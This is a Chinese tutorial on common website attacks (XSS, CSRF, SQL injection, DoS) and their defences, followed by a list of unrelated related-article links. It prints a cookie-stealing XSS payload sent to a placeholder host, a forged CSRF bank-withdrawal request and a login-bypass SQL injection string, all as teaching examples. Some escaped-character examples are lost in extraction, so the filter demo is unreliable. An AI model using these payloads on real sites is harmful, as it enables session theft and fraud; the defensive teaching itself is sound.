网站常用攻击技术详解
目录
一、跨站脚本攻击
概念
攻击原理
危害
防范手段
1. 设置 Cookie 为 HttpOnly
2. 过滤特殊字符
二、跨站请求伪造
概念
攻击原理
防范手段
1. 检查 Referer 首部字段
2. 添加校验 Token
3. 输入验证码
三、SQL 注入攻击
概念
攻击原理
防范手段
1. 使用参数化查询
2. 单引号转换
四、拒绝服务攻击
一、跨站脚本攻击
概念
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
攻击原理
<script>location.href="//domain.com/?c=" + document.cookie</script>
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
危害
防范手段
1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
2. 过滤特殊字符
例如将 < 转义为 <,将 > 转义为 >,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
<h1 id="title">XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test">
</form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test">
</form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
二、跨站请求伪造
概念
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
攻击原理
http://www.examplebank.com/withdrawaccount=AccoutName&amount=1000&for=PayeeName。
<img src="http://www.examplebank.com/withdrawaccount=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
防范手段
1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
2. 添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
3. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
三、SQL 注入攻击
概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
攻击原理
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
strSQL = "SELECT * FROM users;"
防范手段
1. 使用参数化查询
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。
四、拒绝服务攻击
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
网站常用攻击技术详解相关推荐
- Java的常用日志技术详解(一)
日志文件 日志文件是用于记录系统操作事件的文件集合. 日志文件它具有处理历史数据.诊断问题的追踪以及理解系统的活动等重要的作用. 日志种类 调试日志 调试程序,或者做一些状态的输出,便于我们查询程序的 ...
- 作为SLAM中最常用的闭环检测方法,视觉词袋模型技术详解来了
摘自:https://mp.weixin.qq.com/s/OZnnuA31tEaVt0vnDOy5hQ 作为SLAM中最常用的闭环检测方法,视觉词袋模型技术详解来了 原创 小翼 飞思实验室 今天 基 ...
- 内网安全:隧道技术详解
目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后 ...
- Javascript常用的设计模式详解
Javascript常用的设计模式详解 阅读目录 一:理解工厂模式 二:理解单体模式 三:理解模块模式 四:理解代理模式 五:理解职责链模式 六:命令模式的理解: 七:模板方法模式 八:理解javas ...
- php中会话技术,php session会话技术详解
会话技术详解 发布时间-04-来源:青锋建站作者:青锋建站 PHP中的会话支持是在并发访问时由一个方法来保存某些数据,被广泛用于保持会话状态,存储会话变量.以下是青锋建站给大家分享的有关技术的详解,包 ...
- P2P技术详解(一):NAT详解——详细原理、P2P简介(转)
这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层开发人员而言有很高的参考价值. <P2P技术详解>系列文章 ➊ 本 ...
- 015. P2P技术详解(一):NAT详解——详细原理、P2P简介
http://www.52im.net/thread-50-1-1.html 这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层 ...
- Mysql中的七种常用查询连接详解
目录 一.概述 二.连接查询的分类 三.七种常用连接查询详解 1.笛卡尔积: 2.内连接 2.1隐式与显式连接 ?2.2等值连接 ?2.3非等值连接 ?2.4自连接 3外连接 3.1左外连接: ?3. ...
- vlan配置实例详解_网工知识角|MUXVLAN技术详解,基本原理一篇搞定
学网络,就在IE-LAB 国内高端网络工程师培养基地 MUX VLAN(Multiplex VLAN )提供了一种通过VLAN进行网络资源控制的机制.通过MUX VLAN提供的二层流量隔离的机制可以实 ...
- 八大典型APT攻击过程详解
八大典型APT攻击过程详解 2013-08-27 17:55 启明星辰 yepeng 51CTO.com 字号:T | T APT攻击是近几年来出现的一种高级攻击,具有难检测.持续时间长和攻击目标明确 ...
最新文章
- linux下jdk/maven/tomcat
- 解决修改“文件夹选项”后仍不能显示隐藏文件一例
- android 处理双击事件
- thinkphp F方法
- CString与LPCWSTR、LPSTR、char*、LPWSTR等类型的转换【转】
- Python 将字符串转换成单个字符;将单个字符合并成字符串
- DOM-8 【兼容】冒泡捕获流、事件与事件源对象、事件委托
- centOS6.5如何从启动界面直接进入命令行界面和如何从图形界面进入命令行界面
- 其他技术(Path)
- 搭建JEESZ分布式架构1--CentOs下安装jdk7(环境准备)
- vue||简易版音乐播放器
- 安装永中office 2009个人版 点快捷方式无法运行
- 开发计算机新功能,Tablet PC 开发的新增功能
- VM虚拟机下如何和Windows主机共享文件夹
- 方法finalizer()的应用
- 智慧城市物联网主要技术路线
- 重磅突发!支付宝下架互联网存款产品,蚂蚁集团回应
- 用什么软件压缩视频最好?最好的视频压缩软件?
- 让注册表修改快速生效
- 【技术点】数据结构--B树系列之B+树(五)
热门文章
- mysql 乐观锁 超卖_秒杀系统之一:防止超卖(乐观锁)
- MOSFET的雪崩失效
- 气凝胶产业链都有?-供应银纳米粒子修饰碳球/石墨烯复合气凝胶/磷钨杂多酸修饰ZrO_2气凝胶/柠檬酸修饰纤维素气凝胶定制
- odoo使用word中的MERGEFIELD合并域和python包mailmerge来生成word文档
- word2016从某一页开始插入新的起始页码
- 论文快报-2021-10-Multi-task optimization and evolutionary multitasking
- 【读】自动文摘——预备
- 系统分析与设计复习---项目管理概述
- 邮箱密码忘了怎么找回
- 类型查找器 ITypeFinder